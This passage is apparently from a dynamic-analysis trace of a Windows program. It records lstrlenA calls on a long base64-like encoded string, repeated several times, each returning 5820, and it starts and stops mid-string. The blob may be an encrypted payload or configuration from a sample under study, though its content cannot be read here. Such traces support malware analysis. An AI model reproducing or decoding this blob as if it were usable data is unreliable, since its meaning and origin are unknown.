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") returned 5820
	[0084.635] lstrlenA (lpString="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") returned 5820
	[0084.636] lstrlenA (lpString="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